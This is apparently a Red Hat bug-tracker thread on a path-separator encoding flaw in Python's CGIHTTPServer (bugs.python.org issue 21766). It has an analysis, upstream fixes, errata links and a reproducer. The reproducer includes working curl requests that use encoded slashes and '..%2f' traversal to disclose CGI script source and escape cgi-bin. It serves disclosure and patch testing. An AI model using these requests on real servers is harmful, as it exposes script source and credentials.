It was discovered [1] that Python built-in module CGIHTTPServer does not properly handle URL-encoded path separators in URLs which may enable attackers to disclose a CGI script's source code or execute arbitrary scripts in the server's document root. Complete technical description is available at [1] [1]: http://bugs.python.org/issue21766 Upstream commits: 2.7: http://hg.python.org/cpython/rev/b4bab0788768 3.2: http://hg.python.org/cpython/rev/e47422855841 3.3: http://hg.python.org/cpython/rev/5676797f3a3e 3.4: http://hg.python.org/cpython/rev/847e288d6e93
Created python tracking bugs for this issue: Affects: fedora-all [bug 1113528]
Created python26 tracking bugs for this issue: Affects: epel-5 [bug 1113530]
Created python3 tracking bugs for this issue: Affects: fedora-all [bug 1113529]
Analysis: ========= CGIHTTPServer is unable to handle certain URL-encoded path separators (like %2f etc). This can lead two consequences: 1. Disclosure of the contents of a CGI script. This is bad because CGI scripts may contain confidential information like usernames/password used to connect to other backend services like databases etc. Also looking at CGI you could bypass intended restrictions on services and a lot of other consequences. 2. You could execute other cgi scripts, which are outside the restricted "cgi-bin" directory or whatever directory is set via the "cgi_directories" parameter, which can have further consequences based on how your web application is designed. You cannot however execute arbitrary commands, and the flaw is limited to the applications constructed using CGIHTTPServer module. How to reproduce: ================= 1. To reproduce CGI script disclosure: a. Create a directory (which will act as root for your webserver) and a cgi-bin directory within it. $ mkdir -p web/cgi-bin b. Create the following sample script inside the cgi-bin directory: $ cat test.py #!/usr/bin/env python2 import sys db_credentials = "SECRET" sys.stdout.write("Content-type: text/html\r\n\n") sys.stdout.write("hello world!") c. Start the web server from inside the "web" directory: $ python /usr/lib64/python2.7/CGIHTTPServer.py d. The following should work: $ curl http://localhost:8000/cgi-bin/test.py hello world! e. The following should not work (on a fixed version of python): $ curl http://localhost:8000/cgi-bin%2ftest.py #!/usr/bin/env python2 import sys db_credentials = "SECRET" sys.stdout.write("Content-type: text/html\r\n\n") sys.stdout.write("hello world!") 2. To reproduce arbitrary cgi scripts. a. Create a file called exploit.py in the root of the web server directory, with contents similar to test.py b. This should not work (on fixed version of python): $ curl http://localhost:8000/cgi-bin/..%2fexploit.py Exploited!
Statement: This issue affects the versions of python as shipped with Red Hat Enterprise Linux 5 and 7 as well as Red Hat Software Collections. A future update may address this issue. For additional information, refer to the Issue Severity Classification: https://access.redhat.com/security/updates/classification/. Red Hat Enterprise Linux 5 is now in Production 3 Phase of the support and maintenance life cycle. This has been rated as having Moderate security impact and is not currently planned to be addressed in future updates. For additional information, refer to the Red Hat Enterprise Linux Life Cycle: https://access.redhat.com/support/policy/updates/errata/.
(In reply to Huzaifa S. Sidhpurwala from comment #4) > Analysis: > ========= > > CGIHTTPServer is unable to handle certain URL-encoded path separators (like > %2f etc). This can lead two consequences: > > 1. Disclosure of the contents of a CGI script. This is bad because CGI > scripts may contain confidential information like usernames/password used to > connect to other backend services like databases etc. Also looking at CGI > you could bypass intended restrictions on services and a lot of other > consequences. > > 2. You could execute other cgi scripts, which are outside the restricted > "cgi-bin" directory or whatever directory is set via the "cgi_directories" > parameter, which can have further consequences based on how your web > application is designed. > > You cannot however execute arbitrary commands, and the flaw is limited to > the applications constructed using CGIHTTPServer module. > > How to reproduce: > ================= > 1. To reproduce CGI script disclosure: > > a. Create a directory (which will act as root for your webserver) and a > cgi-bin directory within it. > $ mkdir -p web/cgi-bin > > b. Create the following sample script inside the cgi-bin directory: > $ cat test.py > #!/usr/bin/env python2 > import sys > > db_credentials = "SECRET" > sys.stdout.write("Content-type: text/html\r\n\n") > sys.stdout.write("hello world!") > > c. Start the web server from inside the "web" directory: > $ python /usr/lib64/python2.7/CGIHTTPServer.py > > d. The following should work: > $ curl http://localhost:8000/cgi-bin/test.py > hello world! > > e. The following should not work (on a fixed version of python): > $ curl http://localhost:8000/cgi-bin%2ftest.py > #!/usr/bin/env python2 > import sys > > db_credentials = "SECRET" > sys.stdout.write("Content-type: text/html\r\n\n") > sys.stdout.write("hello world!") > > 2. To reproduce arbitrary cgi scripts. > > a. Create a file called exploit.py in the root of the web server directory, > with contents similar to test.py > > b. This should not work (on fixed version of python): > $ curl http://localhost:8000/cgi-bin/..%2fexploit.py > Exploited! Regarding scenario 2: I'm testing on python27-python-2.7.8-2.el6 (in rhscl-2.0). While it's not possible to execute cgi script outside of cgi-bin directory, it is possible to reveal its content. I've put test.py from your reproducer in "web" directory and then run "curl http://localhost:8000/cgi-bin/..%2ftest.py" :: [ BEGIN ] :: Run script outside of cgi-bin :: actually running 'curl -s http://localhost:8000/cgi-bin/..%2ftest.py' 127.0.0.1 - - [13/May/2015 11:02:19] "GET /cgi-bin/..%2ftest.py HTTP/1.1" 200 - #!/usr/bin/env python2 import sys db_credentials = "SECRET" sys.stdout.write("Content-type: text/html\r\n\n") sys.stdout.write("hello world!")
I find it expected that any file outside of the cgi-bin directory is not handled in any special way and that it's returned to the client as is. So if the file happens to be script, client can see its source.
This issue has been addressed in the following products: Red Hat Software Collections for Red Hat Enterprise Linux 7 Red Hat Software Collections for Red Hat Enterprise Linux 6 Red Hat Software Collections for Red Hat Enterprise Linux 6.5 EUS Red Hat Software Collections for Red Hat Enterprise Linux 6.6 EUS Via RHSA-2015:1064 https://rhn.redhat.com/errata/RHSA-2015-1064.html
This issue has been addressed in the following products: Red Hat Enterprise Linux 6 Via RHSA-2015:1330 https://rhn.redhat.com/errata/RHSA-2015-1330.html
This issue has been addressed in the following products: Red Hat Enterprise Linux 7 Via RHSA-2015:2101 https://rhn.redhat.com/errata/RHSA-2015-2101.html